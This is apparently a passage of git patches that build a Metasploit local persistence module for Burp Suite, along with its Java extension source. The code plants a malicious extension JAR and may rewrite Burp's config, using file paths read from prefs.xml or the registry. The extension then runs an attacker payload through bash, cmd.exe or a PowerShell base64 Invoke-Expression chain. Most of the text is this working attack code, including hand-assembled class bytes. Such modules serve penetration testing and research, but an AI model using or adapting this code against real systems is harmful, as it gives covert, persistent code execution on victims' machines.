"\xca\xfe\xba\xbe\x00\x00\x008\x00\x81\x0a\x00\x02\x00\x03\x07\x00\x04\x0c\x00\x05\x00\x06\x01\x00\x10java/lang/Object\x01\x00\x06\x01\x00\x03()V\x08\x00\x08\x01" - burp_extension_class << int_to_slash_x_number(extension_name.length, 2) # extension name length - burp_extension_class << extension_name # extension name - burp_extension_class << "\x0b\x00\x0a\x00\x0b\x07\x00\x0c\x0c\x00\x0d\x00\x0e\x01\x00\x1bburp/IBurpExtenderCallbacks\x01\x00\x10setExtensionName\x01\x00\x15(Ljava/lang/String;)V\x08\x00\x10" - # smaller payloads (400ish in size) don't have this byte, larger payloads like 800 do. not sure why though - burp_extension_class << "\x01" - burp_extension_class << int_to_slash_x_number(payload.encoded.length, 2) # payload length, 2 bytes \xNN\xNN - burp_extension_class << payload.encoded # payload - burp_extension_class << "\x07\x00\x12\x01\x00\x13java/io/PrintWriter\x0b\x00\x0a\x00\x14\x0c\x00\x15\x00\x16\x01\x00\x09getStdout\x01\x00\x18()Ljava/io/OutputStream;\x0a\x00\x11\x00\x18\x0c\x00" - burp_extension_class << "\x05\x00\x19\x01\x00\x1a(Ljava/io/OutputStream;Z)V\x0b\x00\x0a\x00\x1b\x0c\x00\x1c\x00\x16\x01\x00\x09getStderr\x08\x00\x1e\x01\x00\x07os.name\x0a\x00 \x00!\x07\x00\"\x0c" - burp_extension_class << "\x00#\x00$\x01\x00\x10java/lang/System\x01\x00\x0bgetProperty\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x0a\x00&\x00'\x07\x00(\x0c\x00)\x00*\x01\x00\x10java/lang/String" - burp_extension_class << "\x01\x00\x0btoLowerCase\x01\x00\x14()Ljava/lang/String;\x08\x00,\x01\x00\x17Initializing extension.\x0a\x00\x11\x00.\x0c\x00/\x00\x0e\x01\x00\x07println\x08\x001\x01\x00" - burp_extension_class << "\x03win\x0a\x00&\x003\x0c\x004\x005\x01\x00\x08contains\x01\x00\x1b(Ljava/lang/CharSequence;)Z\x12\x00\x00\x007\x0c\x008\x00$\x01\x00\x17makeConcatWithConstants\x0a\x00:\x00" - burp_extension_class << ";\x07\x00<\x0c\x00=\x00>\x01\x00\x11java/lang/Runtime\x01\x00\x0agetRuntime\x01\x00\x15()Ljava/lang/Runtime;\x08\x00@\x01\x00\x07cmd.exe\x08\x00B\x01\x00\x02/c\x0a\x00:\x00" - burp_extension_class << "D\x0c\x00E\x00F\x01\x00\x04exec\x01\x00(([Ljava/lang/String;)Ljava/lang/Process;\x08\x00H\x01\x00\x09/bin/bash\x08\x00J\x01\x00\x02-c\x08\x00L\x01\x00" - burp_extension_class << " Finished initializing extension.\x07\x00N\x01\x00\x13java/lang/Exception\x0a\x00M\x00P\x0c\x00Q\x00*\x01\x00\x0agetMessage\x12\x00\x01\x007\x07\x00T\x01\x00" - burp_extension_class << "\x11burp/BurpExtender\x07\x00V\x01\x00\x12burp/IBurpExtender\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00" - burp_extension_class << "\x13Lburp/BurpExtender;\x01\x00\x19registerExtenderCallbacks\x01\x00 (Lburp/IBurpExtenderCallbacks;)V\x01\x00\x0ewindowsCommand\x01\x00\x12Ljava/lang/String;\x01\x00" - burp_extension_class << "\x07process\x01\x00\x13Ljava/lang/Process;\x01\x00\x01e\x01\x00\x15Ljava/lang/Exception;\x01\x00\x09callbacks\x01\x00\x1dLburp/IBurpExtenderCallbacks;\x01\x00\x07command\x01\x00" - burp_extension_class << "\x06stdout\x01\x00\x15Ljava/io/PrintWriter;\x01\x00\x06stderr\x01\x00\x02os\x01\x00\x0dStackMapTable\x07\x00m\x01\x00\x11java/lang/Process\x01\x00\x0aSourceFile\x01\x00" - burp_extension_class << "\x11BurpExtender.java\x01\x00\x10BootstrapMethods\x08\x00r\x01\x00ipowershell.exe -Command \"\x01[Convert]::FromBase64String | ForEach-Object {$_ -join ''} | Invoke-Expression\"" - burp_extension_class << "\x08\x00t\x01\x00\x1aError loading extension: \x01\x0f\x06\x00v\x0a\x00w\x00x\x07\x00y\x0c\x008\x00z\x01\x00$java/lang/invoke/StringConcatFactory\x01" + # see data/exploits/burp_extension/notes.txt on how to get this content + burp_extension_class = "\xca\xfe\xba\xbe\x00\x00\x008\x00\xb6\x0a\x00\x02\x00\x03\x07\x00\x04\x0c\x00\x05\x00\x06\x01\x00\x10java/lang/Object\x01\x00\x06\x01\x00\x03()V\x0a\x00\x02\x00\x08\x0c\x00" + burp_extension_class << "\x09\x00\x0a\x01\x00\x08getClass\x01\x00\x13()Ljava/lang/Class;\x0a\x00\x0c\x00\x0d\x07\x00\x0e\x0c\x00\x0f\x00\x10\x01\x00\x0fjava/lang/Class\x01\x00\x0egetClassLoader\x01" + burp_extension_class << "\x00\x19()Ljava/lang/ClassLoader;\x08\x00\x12\x01\x00\x08name.txt\x0a\x00\x14\x00\x15\x07\x00\x16\x0c\x00\x17\x00\x18\x01\x00\x15java/lang/ClassLoader\x01" + burp_extension_class << "\x00\x13getResourceAsStream\x01\x00)(Ljava/lang/String;)Ljava/io/InputStream;\x07\x00\x1a\x01\x00\x11java/util/Scanner\x09\x00\x1c\x00\x1d\x07\x00\x1e\x0c\x00\x1f\x00 \x01" + burp_extension_class << "\x00!java/nio/charset/StandardCharsets\x01\x00\x05UTF_8\x01\x00\x1aLjava/nio/charset/Charset;\x0a\x00\"\x00#\x07\x00$\x0c\x00%\x00&\x01\x00\x18java/nio/charset/Charset\x01" + burp_extension_class << "\x00\x04name\x01\x00\x14()Ljava/lang/String;\x0a\x00\x19\x00(\x0c\x00\x05\x00)\x01\x00*(Ljava/io/InputStream;Ljava/lang/String;)V\x08\x00+\x01\x00\x02\\A\x0a\x00\x19\x00-\x0c" + burp_extension_class << "\x00.\x00/\x01\x00\x0cuseDelimiter\x01\x00'(Ljava/lang/String;)Ljava/util/Scanner;\x0a\x00\x19\x001\x0c\x002\x00&\x01\x00\x04next\x0a\x004\x005\x07\x006\x0c\x007\x00&\x01" + burp_extension_class << "\x00\x10java/lang/String\x01\x00\x04trim\x0b\x009\x00:\x07\x00;\x0c\x00<\x00=\x01\x00\x1bburp/IBurpExtenderCallbacks\x01\x00\x10setExtensionName\x01\x00\x15(Ljava/lang/String;)V" + burp_extension_class << "\x08\x00?\x01\x00\x0bcommand.txt\x07\x00A\x01\x00\x13java/io/PrintWriter\x0b\x009\x00C\x0c\x00D\x00E\x01\x00\x09getStdout\x01\x00\x18()Ljava/io/OutputStream;\x0a\x00@\x00G\x0c" + burp_extension_class << "\x00\x05\x00H\x01\x00\x1a(Ljava/io/OutputStream;Z)V\x0b\x009\x00J\x0c\x00K\x00E\x01\x00\x09getStderr\x08\x00M\x01\x00\x07os.name\x0a\x00O\x00P\x07\x00Q\x0c\x00R\x00S\x01" + burp_extension_class << "\x00\x10java/lang/System\x01\x00\x0bgetProperty\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x0a\x004\x00U\x0c\x00V\x00&\x01\x00\x0btoLowerCase\x08\x00X\x01" + burp_extension_class << "\x00\x17Initializing extension.\x0a\x00@\x00Z\x0c\x00[\x00=\x01\x00\x07println\x08\x00]\x01\x00\x03win\x0a\x004\x00_\x0c\x00`\x00a\x01\x00\x08contains\x01" + burp_extension_class << "\x00\x1b(Ljava/lang/CharSequence;)Z\x12\x00\x00\x00c\x0c\x00d\x00S\x01\x00\x17makeConcatWithConstants\x0a\x00f\x00g\x07\x00h\x0c\x00i\x00j\x01\x00\x11java/lang/Runtime\x01" + burp_extension_class << "\x00\x0agetRuntime\x01\x00\x15()Ljava/lang/Runtime;\x08\x00l\x01\x00\x07cmd.exe\x08\x00n\x01\x00\x02/c\x0a\x00f\x00p\x0c\x00q\x00r\x01\x00\x04exec\x01" + burp_extension_class << "\x00(([Ljava/lang/String;)Ljava/lang/Process;\x08\x00t\x01\x00\x09/bin/bash\x08\x00v\x01\x00\x02-c\x08\x00x\x01\x00 Finished initializing extension.\x07\x00z\x01" + burp_extension_class << "\x00\x13java/lang/Exception\x0a\x00y\x00|\x0c\x00}\x00&\x01\x00\x0agetMessage\x12\x00\x01\x00c\x07\x00\x80\x01\x00\x11burp/BurpExtender\x07\x00\x82\x01" + burp_extension_class << "\x00\x12burp/IBurpExtender\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00\x13Lburp/BurpExtender;\x01" + burp_extension_class << "\x00\x19registerExtenderCallbacks\x01\x00 (Lburp/IBurpExtenderCallbacks;)V\x01\x00\x0ewindowsCommand\x01\x00\x12Ljava/lang/String;\x01\x00\x07process\x01\x00" + burp_extension_class << "\x13Ljava/lang/Process;\x01\x00\x01e\x01\x00\x15Ljava/lang/Exception;\x01\x00\x09callbacks\x01\x00\x1dLburp/IBurpExtenderCallbacks;\x01\x00\x0fnameInputStream\x01" + burp_extension_class << "\x00\x15Ljava/io/InputStream;\x01\x00\x0bnameScanner\x01\x00\x13Ljava/util/Scanner;\x01\x00\x0dextensionName\x01\x00\x12commandInputStream\x01\x00\x0ecommandScanner\x01" + burp_extension_class << "\x00\x07command\x01\x00\x06stdout\x01\x00\x15Ljava/io/PrintWriter;\x01\x00\x06stderr\x01\x00\x02os\x01\x00\x0dStackMapTable\x07\x00\xa0\x01\x00\x13java/io/InputStream\x07\x00" + burp_extension_class << "\xa2\x01\x00\x11java/lang/Process\x01\x00\x0aSourceFile\x01\x00\x11BurpExtender.java\x01\x00\x10BootstrapMethods\x08\x00\xa7" + burp_extension_class << "\x01\x00ipowershell.exe -Command \"\x01[Convert]::FromBase64String | ForEach-Object {$_ -join ''} | Invoke-Expression\"\x08\x00\xa9\x01" + burp_extension_class << "\x00\x1aError loading extension: \x01\x0f\x06\x00\xab\x0a\x00\xac\x00\xad\x07\x00\xae\x0c\x00d\x00\xaf\x01\x00$java/lang/invoke/StringConcatFactory\x01" burp_extension_class << "\x00\x98(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/invoke/CallSite;\x01" - burp_extension_class << "\x00\x0cInnerClasses\x07\x00}\x01\x00%java/lang/invoke/MethodHandles$Lookup\x07\x00\x7f\x01\x00\x1ejava/lang/invoke/MethodHandles\x01\x00\x06Lookup\x00!\x00S\x00\x02\x00\x01" - burp_extension_class << "\x00U\x00\x00\x00\x02\x00\x01\x00\x05\x00\x06\x00\x01\x00W\x00\x00\x00/\x00\x01\x00\x01\x00\x00\x00\x05*\xb7\x00\x01\xb1\x00\x00\x00\x02\x00X\x00\x00\x00\x06\x00\x01\x00\x00" - burp_extension_class << "\x00\x06\x00Y\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00Z\x00[\x00\x00\x00\x01\x00\\\x00]\x00\x01\x00W\x00\x00\x01\xab\x00\x05\x00\x08\x00\x00\x00\x9f+\x12\x07\xb9\x00\x09\x02" - burp_extension_class << "\x00\x12\x0fM\xbb\x00\x11Y+\xb9\x00\x13\x01\x00\x04\xb7\x00\x17N\xbb\x00\x11Y+\xb9\x00\x1a\x01\x00\x04\xb7\x00\x17:\x04\x12\x1d\xb8\x00\x1f\xb6\x00%:\x05-\x12+\xb6\x00-\x19\x05" - burp_extension_class << "\x120\xb6\x002\x99\x00),\xba\x006\x00\x00:\x07\xb8\x009\x06\xbd\x00&Y\x03\x12?SY\x04\x12ASY\x05\x19\x07S\xb6\x00C:\x06\xa7\x00\x1d\xb8\x009\x06\xbd\x00&Y\x03\x12GSY\x04\x12ISY" - burp_extension_class << "\x05,S\xb6\x00C:\x06-\x12K\xb6\x00-\xa7\x00\x14:\x07\x19\x04\x19\x07\xb6\x00O\xba\x00R\x00\x00\xb6\x00-\xb1\x00\x01\x004\x00\x8a\x00\x8d\x00M\x00\x03\x00X\x00\x00\x00B\x00\x10" - burp_extension_class << "\x00\x00\x00\x0b\x00\x08\x00\x0e\x00\x0b\x00\x11\x00\x1a\x00\x12\x00*\x00\x15\x004\x00\x19\x00:\x00\x1b\x00D\x00\x1d\x00L\x00!\x00g\x00\"\x00j\x00$\x00\x84\x00&\x00\x8a\x00)\x00" - burp_extension_class << "\x8d\x00'\x00\x8f\x00(\x00\x9e\x00*\x00Y\x00\x00\x00f\x00\x0a\x00L\x00\x1b\x00^\x00_\x00\x07\x00g\x00\x03\x00`\x00a\x00\x06\x00\x84\x00\x09\x00`\x00a\x00\x06\x00\x8f\x00\x0f\x00b" - burp_extension_class << "\x00c\x00\x07\x00\x00\x00\x9f\x00Z\x00[\x00\x00\x00\x00\x00\x9f\x00d\x00e\x00\x01\x00\x0b\x00\x94\x00f\x00_\x00\x02\x00\x1a\x00\x85\x00g\x00h\x00\x03\x00*\x00u\x00i\x00h\x00\x04" - burp_extension_class << "\x004\x00k\x00j\x00_\x00\x05\x00k\x00\x00\x00>\x00\x04\xff\x00j\x00\x06\x07\x00S\x07\x00\x0a\x07\x00&\x07\x00\x11\x07\x00\x11\x07\x00&\x00\x00\xfc\x00\x19\x07\x00l\xff\x00\x08" - burp_extension_class << "\x00\x06\x07\x00S\x07\x00\x0a\x07\x00&\x07\x00\x11\x07\x00\x11\x07\x00&\x00\x01\x07\x00M\x10\x00\x03\x00n\x00\x00\x00\x02\x00o\x00p\x00\x00\x00\x0e\x00\x02\x00u\x00\x01\x00q\x00u" - burp_extension_class << "\x00\x01\x00s\x00{\x00\x00\x00\x0a\x00\x01\x00|\x00~\x00\x80\x00\x19" + burp_extension_class << "\x00\x0cInnerClasses\x07\x00\xb2\x01\x00%java/lang/invoke/MethodHandles$Lookup\x07\x00\xb4\x01\x00\x1ejava/lang/invoke/MethodHandles\x01\x00\x06Lookup\x00!\x00\x7f\x00\x02" + burp_extension_class << "\x00\x01\x00\x81\x00\x00\x00\x02\x00\x01\x00\x05\x00\x06\x00\x01\x00\x83\x00\x00\x00/\x00\x01\x00\x01\x00\x00\x00\x05*\xb7\x00\x01\xb1\x00\x00\x00\x02\x00\x84\x00\x00\x00" + burp_extension_class << "\x06\x00\x01\x00\x00\x00\x09\x00\x85\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00\x86\x00\x87\x00\x00\x00\x01\x00\x88\x00\x89\x00\x01\x00\x83\x00\x00\x02i\x00\x05\x00\x0d" + burp_extension_class << "\x00\x00\x00\xf9*\xb6\x00\x07\xb6\x00\x0b\x12\x11\xb6\x00\x13M\xbb\x00\x19Y,\xb2\x00\x1b\xb6\x00!\xb7\x00'N-\x12*\xb6\x00,\xb6\x000\xb6\x003:\x04+\x19\x04\xb9\x008\x02\x00*" + burp_extension_class << "\xb6\x00\x07\xb6\x00\x0b\x12>\xb6\x00\x13:\x05\xbb\x00\x19Y\x19\x05\xb2\x00\x1b\xb6\x00!\xb7\x00':\x06\x19\x06\x12*\xb6\x00,\xb6\x000\xb6\x003:\x07\xbb\x00@Y+\xb9\x00B\x01" + burp_extension_class << "\x00\x04\xb7\x00F:\x08\xbb\x00@Y+\xb9\x00I\x01\x00\x04\xb7\x00F:\x09\x12L\xb8\x00N\xb6\x00T:\x0a\x19\x08\x12W\xb6\x00Y\x19\x0a\x12\\\xb6\x00^\x99\x00*\x19\x07\xba\x00b\x00" + burp_extension_class << "\x00:\x0c\xb8\x00e\x06\xbd\x004Y\x03\x12kSY\x04\x12mSY\x05\x19\x0cS\xb6\x00o:\x0b\xa7\x00\x1e\xb8\x00e\x06\xbd\x004Y\x03\x12sSY\x04\x12uSY\x05\x19\x07S\xb6\x00o:\x0b\x19" + burp_extension_class << "\x08\x12w\xb6\x00Y\xa7\x00\x14:\x0c\x19\x09\x19\x0c\xb6\x00{\xba\x00~\x00\x00\xb6\x00Y\xb1\x00\x01\x00\x8a\x00\xe4\x00\xe7\x00y\x00\x03\x00\x84\x00\x00\x00V\x00\x15\x00\x00" + burp_extension_class << "\x00\x0d\x00\x0d\x00\x0e\x00\x1c\x00\x0f\x00*\x00\x10\x002\x00\x13\x00@\x00\x14\x00Q\x00\x15\x00`\x00\x18\x00p\x00\x19\x00\x80\x00\x1c\x00\x8a\x00 \x00\x91\x00\"\x00\x9b" + burp_extension_class << "\x00$\x00\xa4\x00(\x00\xbf\x00)\x00\xc2\x00+\x00\xdd\x00-\x00\xe4\x000\x00\xe7\x00.\x00\xe9\x00/\x00\xf8\x001\x00\x85\x00\x00\x00\x98\x00\x0f\x00\xa4\x00\x1b\x00\x8a\x00" + burp_extension_class << "\x8b\x00\x0c\x00\xbf\x00\x03\x00\x8c\x00\x8d\x00\x0b\x00\xdd\x00\x0a\x00\x8c\x00\x8d\x00\x0b\x00\xe9\x00\x0f\x00\x8e\x00\x8f\x00\x0c\x00\x00\x00\xf9\x00\x86\x00\x87\x00\x00" + burp_extension_class << "\x00\x00\x00\xf9\x00\x90\x00\x91\x00\x01\x00\x0d\x00\xec\x00\x92\x00\x93\x00\x02\x00\x1c\x00\xdd\x00\x94\x00\x95\x00\x03\x00*\x00\xcf\x00\x96\x00\x8b\x00\x04\x00@\x00\xb9\x00" + burp_extension_class << "\x97\x00\x93\x00\x05\x00Q\x00\xa8\x00\x98\x00\x95\x00\x06\x00`\x00\x99\x00\x99\x00\x8b\x00\x07\x00p\x00\x89\x00\x9a\x00\x9b\x00\x08\x00\x80\x00y\x00\x9c\x00\x9b\x00\x09\x00" + burp_extension_class << "\x8a\x00o\x00\x9d\x00\x8b\x00\x0a\x00\x9e\x00\x00\x00\\\x00\x04\xff\x00\xc2\x00\x0b\x07\x00\x7f\x07\x009\x07\x00\x9f\x07\x00\x19\x07\x004\x07\x00\x9f\x07\x00\x19\x07\x004\x07" + burp_extension_class << "\x00@\x07\x00@\x07\x004\x00\x00\xfc\x00\x1a\x07\x00\xa1\xff\x00\x09\x00\x0b\x07\x00\x7f\x07\x009\x07\x00\x9f\x07\x00\x19\x07\x004\x07\x00\x9f\x07\x00\x19\x07\x004\x07\x00@\x07" + burp_extension_class << "\x00@\x07\x004\x00\x01\x07\x00y\x10\x00\x03\x00\xa3\x00\x00\x00\x02\x00\xa4\x00\xa5\x00\x00\x00\x0e\x00\x02\x00\xaa\x00\x01\x00\xa6\x00\xaa\x00\x01\x00\xa8\x00\xb0\x00\x00\x00" + burp_extension_class << "\x0a\x00\x01\x00\xb1\x00\xb3\x00\xb5\x00\x19" jar = Rex::Zip::Jar.new # build our manifest manually because its only one line and we don't need the extra @@ -200,21 +206,30 @@ def compiled_extension(extension_name) jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n") jar.add_file('burp/', '') jar.add_file('burp/BurpExtender.class', burp_extension_class) + jar.add_file('command.txt', payload.encoded) + jar.add_file('name.txt', extension_name) jar end def exploit fail_with(Failure::NotFound, "Config file not found: #{datastore['config']}") unless file?(datastore['config']) + fail_with(Failure::NotFound, "Unable to write to: #{datastore['WritableDir']}") unless writable?(datastore['WritableDir']) extension_name = extension_name_generator print_status("Using extension name: #{extension_name}") extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar" - vprint_status('Compiling JAR file') - jar = run_local_gradle_build(extension_name) + vprint_status('Creating JAR file') + + case action.name + when 'build' + jar = run_local_gradle_build(extension_name) + when 'precompiled' + jar = compiled_extension(extension_name) + end + vprint_status("Writing malcious extension to disk: #{extension_location}") write_file(extension_location, jar) - # write_file(extension_location, compiled_extension(extension_name)) vprint_status('Updating config file') add_extension(datastore['CONFIG'], extension_location, extension_name) From 2213da29bb17de6b74d0fa2604a906b8a646320e Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 9 Jan 2025 17:41:00 -0500 Subject: [PATCH 05/23] linux working, windows payload issues on compile and zip error on pre-built --- .../multi/local/burp_extension_persistence.rb | 116 ++++++++++++++++-- 1 file changed, 103 insertions(+), 13 deletions(-) diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index ceb79f2ef2bd7..e4847c5c7cfed 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -7,9 +7,11 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File + include Msf::Post::Unix # whoami include Msf::Auxiliary::Report include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Windows::Registry def initialize(info = {}) super( @@ -20,7 +22,11 @@ def initialize(info = {}) This module adds a java based malicious extension to the Burp Suite configuration file. When burp is opened, the extension will be loaded and the payload will be executed. - Tested against Burp Suite Community Edition v2024.9.4 on Kali + + + Tested against Burp Suite Community Edition v2024.9.4 on Kali. + Tested against Burp Suite Professional ??? on Kali. + Tested against Burp Suite Community Edition v2024.10.3 on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -43,6 +49,7 @@ def initialize(info = {}) 'BadChars' => '";\\' }, 'Stance' => Msf::Exploit::Stance::Passive, + 'Passive' => true, 'Targets' => [ ['Linux', { 'Platform' => 'unix' } ], ['Windows', { 'Platform' => 'windows' } ], @@ -63,8 +70,9 @@ def initialize(info = {}) register_options([ OptString.new('NAME', [ false, 'Name of the extension', '' ]), - OptString.new('CONFIG', [ true, 'Config file location on target', '' ]), - OptString.new('WritableDir', [ true, 'A directory where we can write the extension', '' ]) + OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write the extension', '' ]), + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), ]) register_advanced_options([ OptString.new('GRADLE', [ false, 'Gradle executable', '/usr/bin/gradle' ]), @@ -78,13 +86,28 @@ def extension_name_generator end def check - if action.name == 'build' && File.exist?(datastore['GRADLE']) - vprint_good('Gradle found') - else - CheckCode::Safe('Gradle is required on THE METASPLOIT computer, please install.') + if action.name == 'build' + if File.exist?(datastore['GRADLE']) + vprint_good('Gradle found') + else + CheckCode::Safe('Gradle is required on THE METASPLOIT computer, please install.') + end end - if file?(datastore['config']) + configs = get_configs_from_settings + configs.each do |config| + if file?(config) + print_status("Found config: #{config}") + else + print_status("Config mentioned in settings, but not found: #{config}") + end + end + + print_bad('User has no saved configs in their settings') if configs.empty? + + if datastore['config'].blank? + return CheckCode::Detected('No config file listed, only writing plugin to disk') + elsif file?(datastore['config']) return CheckCode::Detected("Config file found: #{datastore['config']}") end @@ -120,6 +143,59 @@ def add_extension(settings_file, extension_location, extension_name) write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 })) end + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform + + whoami + end + + # windows stores these settings in the registry + # nix stores it in a prefs.xml file + def get_configs_from_settings + me = target_user + config_files = [] + if ['windows', 'win'].include? session.platform + key = 'HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\burp' + i = 0 + while i < 100 # place a hard upper limit just in case + value = registry_getvaldata(key, "free.suite.recent/Config/Files#{i}") + i += 1 + + break if value.nil? + + value = value.sub(%r{^/}, '') # remove leading slash. Example entry: /C:///Users//windows///Desktop//burp_user_settings.json + config_files << value + end + else + files = [ + "/home/#{me}/.java/.userPrefs/burp/prefs.xml", + "/home/#{me}/.java/.userPrefs/burp/community/prefs.xml" + ] + files.each do |f| + next unless file?(f) + + vprint_status("Found config file: #{f}") + xml_content = read_file(f) # Replace with the path to your XML file + + doc = Nokogiri::XML(xml_content) + + # Extract entries from where key starts with 'free.suite.recentConfigFiles' + # its an array so free.suite.recentConfigFiles1, free.suite.recentConfigFiles2, etc + entries = doc.xpath('//map/entry').select do |entry| + entry['key']&.start_with?('free.suite.recentConfigFiles') + end + + # Get the values for those entries + entries.each do |entry| + config_files << entry['value'] + end + end + end + config_files + end + def run_local_gradle_build(extension_name) # Check if gradle is installed fails_with(Failure::NotFound, 'Gradle is not installed on this system (not target).') unless File.exist?(datastore['GRADLE']) @@ -213,8 +289,10 @@ def compiled_extension(extension_name) end def exploit - fail_with(Failure::NotFound, "Config file not found: #{datastore['config']}") unless file?(datastore['config']) - fail_with(Failure::NotFound, "Unable to write to: #{datastore['WritableDir']}") unless writable?(datastore['WritableDir']) + # RuntimeError `writable?' method does not support Windows systems + if !['windows', 'win'].include?(session.platform) && !writable?(datastore['WritableDir']) + fail_with(Failure::NotFound, "Unable to write to: #{datastore['WritableDir']}") + end extension_name = extension_name_generator print_status("Using extension name: #{extension_name}") extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar" @@ -230,10 +308,22 @@ def exploit vprint_status("Writing malcious extension to disk: #{extension_location}") write_file(extension_location, jar) - vprint_status('Updating config file') - add_extension(datastore['CONFIG'], extension_location, extension_name) + if datastore['CONFIG'].blank? + print_good('Extension enabled, waiting for Burp to open with the config.') + else + vprint_status('Updating config file') + add_extension(datastore['CONFIG'], extension_location, extension_name) + print_good('Extension written to disk, waiting for Burp to open and user to install extension.') + end + + # stolen from exploit/multi/handler + stime = Time.now.to_f + timeout = datastore['ListenerTimeout'].to_i + loop do + break if timeout > 0 && (stime + timeout < Time.now.to_f) - print_good('Extension enabled, waiting for Burp to open with the config.') + Rex::ThreadSafe.sleep(1) + end # config files must be applied, and on boot doesn't seem to work # /usr/lib/jvm/java-23-openjdk-amd64/bin/java -jar -Xmx4g -Djava.awt.headless=true /usr/share/burpsuite/burpsuite.jar burp.StartBurp --user-config-file=/tmp/burp.json & From 190fab9b0a70763e96dee0dc9db6537c36d354c4 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 12 Jan 2025 11:00:57 -0500 Subject: [PATCH 06/23] windows and linux build portions working --- .../src/main/java/BurpExtender.java | 57 +++++++++++++------ .../multi/local/burp_extension_persistence.rb | 31 +++++++--- 2 files changed, 61 insertions(+), 27 deletions(-) diff --git a/data/exploits/burp_extension/src/main/java/BurpExtender.java b/data/exploits/burp_extension/src/main/java/BurpExtender.java index 798d52cf3ad28..bf18e18ba218b 100644 --- a/data/exploits/burp_extension/src/main/java/BurpExtender.java +++ b/data/exploits/burp_extension/src/main/java/BurpExtender.java @@ -1,8 +1,8 @@ -// from https://github.com/PortSwigger/example-hello-world/blob/master/java/BurpExtender.java package burp; -import java.io.PrintWriter; +import java.io.File; import java.io.InputStream; +import java.io.PrintWriter; import java.nio.charset.StandardCharsets; import java.util.Scanner; @@ -15,12 +15,7 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { String extensionName = nameScanner.useDelimiter("\\A").next().trim(); callbacks.setExtensionName(extensionName); - // Read command from resource file - InputStream commandInputStream = getClass().getClassLoader().getResourceAsStream("command.txt"); - Scanner commandScanner = new Scanner(commandInputStream, StandardCharsets.UTF_8.name()); - String command = commandScanner.useDelimiter("\\A").next().trim(); - - // obtain our output and error streams + // Obtain our output and error streams PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true); PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true); @@ -30,18 +25,44 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { try { stdout.println("Initializing extension."); - - if (os.contains("win")) { - // Windows: Use cmd.exe or PowerShell - String windowsCommand = "powershell.exe -Command \"" - + command - + "[Convert]::FromBase64String | ForEach-Object {$_ -join ''} | Invoke-Expression\""; - - process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", windowsCommand}); + + // Locate command.txt using ClassLoader + InputStream commandInputStream = getClass().getClassLoader().getResourceAsStream("command.txt"); + + if (commandInputStream != null) { + // Read the command from command.txt + Scanner commandScanner = new Scanner(commandInputStream, StandardCharsets.UTF_8.name()); + String command = commandScanner.useDelimiter("\\A").next().trim(); + + if (os.contains("win")) { + // Create a temporary batch script to avoid line length issues from command line + File tempScript = File.createTempFile("command", ".bat"); + tempScript.deleteOnExit(); // Ensure the file is deleted after execution + + // Write the command to the script file + try (PrintWriter writer = new PrintWriter(tempScript, StandardCharsets.UTF_8.name())) { + writer.println("@echo off"); + writer.println(command); // Write the payload command + } + + // Execute the script file + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", tempScript.getAbsolutePath()}); + } else { + // Unix-based systems: Use /bin/bash + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command}); + } } else { - // Unix-based systems: Use /bin/bash - process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command}); + stdout.println("XXX using jar file"); + // Run burp_extension_pload.jar if command.txt does not exist + String jarCommand = "java -jar burp_extension_pload.jar"; + + if (os.contains("win")) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", jarCommand}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", jarCommand}); + } } + stdout.println("Finished initializing extension."); } catch (Exception e) { stderr.println("Error loading extension: " + e.getMessage()); diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index e4847c5c7cfed..0e80f0a4c950c 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -39,7 +39,6 @@ def initialize(info = {}) [ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ], [ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ] ], - 'Arch' => [ARCH_CMD], 'DefaultOptions' => { # 25hrs, you know, just in case the user doesn't open Burp for a while 'WfsDelay' => 90_000, @@ -51,8 +50,14 @@ def initialize(info = {}) 'Stance' => Msf::Exploit::Stance::Passive, 'Passive' => true, 'Targets' => [ - ['Linux', { 'Platform' => 'unix' } ], - ['Windows', { 'Platform' => 'windows' } ], + ['Java', { 'Platform' => 'java', 'Arch' 